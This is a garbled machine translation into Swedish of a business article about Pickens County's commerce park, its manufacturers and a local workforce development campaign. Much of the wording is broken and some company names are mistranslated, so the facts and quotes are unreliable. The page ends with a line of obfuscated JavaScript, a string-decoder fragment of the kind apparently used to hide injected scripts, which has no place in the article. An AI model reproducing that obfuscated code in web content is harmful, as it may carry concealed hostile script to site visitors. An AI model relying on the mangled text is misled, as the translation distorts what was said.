Workforce Development Initiative nyckeln till Pickens County Framgång

Ray Farley — verkställande direktör för Alliance Pickens, den ekonomiska utvecklingsgruppen i länet — förutser en aktiv ekonomisk utvecklingsperiod när saker och ting faller på plats vid Pickens County Commerce Park.
Nu hem till tillverkare som St Jude Medical, Adidas-TaylorMade, KeyMark Inc., Tri-Tech USA och pålitliga Automatisk Sprinkler Co. Inc., Pickens County Commerce Park är en 310 hektar stor industripark vid US Route 123 och Cartee Road. Farley sade ytterligare tillverkare kommer sannolikt att följa en gång tillgängliga platser i parken är vadderade och bygga redo.
”Jag är verkligen glada över det faktum att vi börjar bli mycket nära att komma tillbaka till produktutveckling, vilket innebär pad-ready platser med all nödvändig infrastruktur,” Farley sa.
Farley sa verktyg finns redan på handel parken. ”Vi behöver bara platta till platserna och göra dem konkurrenskraftiga.”
De två första företagen i parken var Reliable Automatic Sprinklers Co. Inc. och KeyMark Inc. Reliable rekryterades från New York för att lokalisera sitt huvudkontor för tillverkning i Pickens County. Keymark är ett företag för mjukvaruutveckling. St Jude Medical inrätta sin kondensator verksamhet vid handelsparken, följt av sin andra anläggning som gör mikrohybrid elektroniska kretsar.
Under lågkonjunkturen Tri-Tech USA kom till Pickens County från Burlington, Vt., farley sa. Tri-Tech USA är en militär utrustning leverantör till den amerikanska regeringen. Företaget arbetar också för flyg- och bilindustrin. Adidas, som gör golfbollar under Varumärket TaylorMade, var den sista aktören i parken.
Enligt Farley, länets arbetskraft utveckling agenda har direkt lett till att få tillverkning i länet.
”Runt 2009 hörde vi alldeles för ofta från områdesindustrin att de inte kunde hitta tillräckligt med kvalificerad eller kvalificerad arbetskraft. Ärligt talat jag tröttnade på att höra det. Pickens County är ett litet samhälle, och jag tror att vi kan fixa detta.”
Arbetskraftens utvecklingsinsatser fokuserade på att nå elever i grundskolan och mellanstadiet, uppmuntra dem att engagera sig i tekniska strävanden och vara mer kritiska och analytiska i sitt tänkande.
”För att verkligen påverka det, vi behövde för de vuxna som är ansvariga för barnen – mammor, pappor, lärare, vägledare och rektorer – att vara medveten om karriärpotential som är tillgänglig för barnen,” Farley sa. ”Så vi inledde en kommunikationskampanj med samhället för sex år sedan. När upplysningen väl satt in förstod folk att det finns betydande möjligheter där ute för ungdomar och att marknadsplatsen är givande färdigheter nu, inte nödvändigtvis belönar den fyraåriga examen.”
Farley sade industrier svarar på arbetskraftens utvecklingsinsatser i Pickens County, med hänvisning till JR Automation Technologies LLC som ett exempel. JR Automation tillverkar utrustning för fordons-, läkemedels- och livsmedelsindustrin. ”Jag tillskriver våra barn som den främsta anledningen till att vi fick JR Automation i Pickens 2011”, säger han. ”På den tiden var vi offentliggöra varje gång en Pickens County barn hade en betydande teknisk prestation. Och, runt den tiden, en Pickens County femte klass vann International Jet Toy mästerskapet med Society of Automotive Engineers i Detroit.”
Enligt Farley, JR Automation ”såg vi tränade våra barn i mycket strävanden att de lever på, så de ringde oss, och efter par månader rekrytera ansträngning de sa”Vi kommer. Vi vill utnyttja den där färdighetsbasen du har.'”
Tillverkarna är inte de enda som tar notis om arbetskraftens utvecklingsinsatser i Pickens County. Ungefär två och ett halvt år sedan fick Farley ett samtal från författaren Nicholas Wyman, som skrev en bok om att överbrygga kompetensklyftan i USA.
”Han hade hört talas om vad vi gör och ville komma och lära sig mer,” Farley sa. ”Han kom och tillbringade en dag eller två i samhället med lärare och privata sektorn industrin folk.”
Boken, Job U: Hur man hittar rikedom och framgång genom att utveckla kompetensföretag faktiskt behöver, omfattar arbetskraften utvecklingsinitiativ i Pickens County och nämner det som en standard som vad som fungerar.
”Det är validering av det arbete som samhället har lagt ner på strävan,” Farley sa.
Teresa C. Hopkins kan nås på 864-235-5677, ext. 103, eller @SCBizTeresa på Twitter.
GSA Business Artikel
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};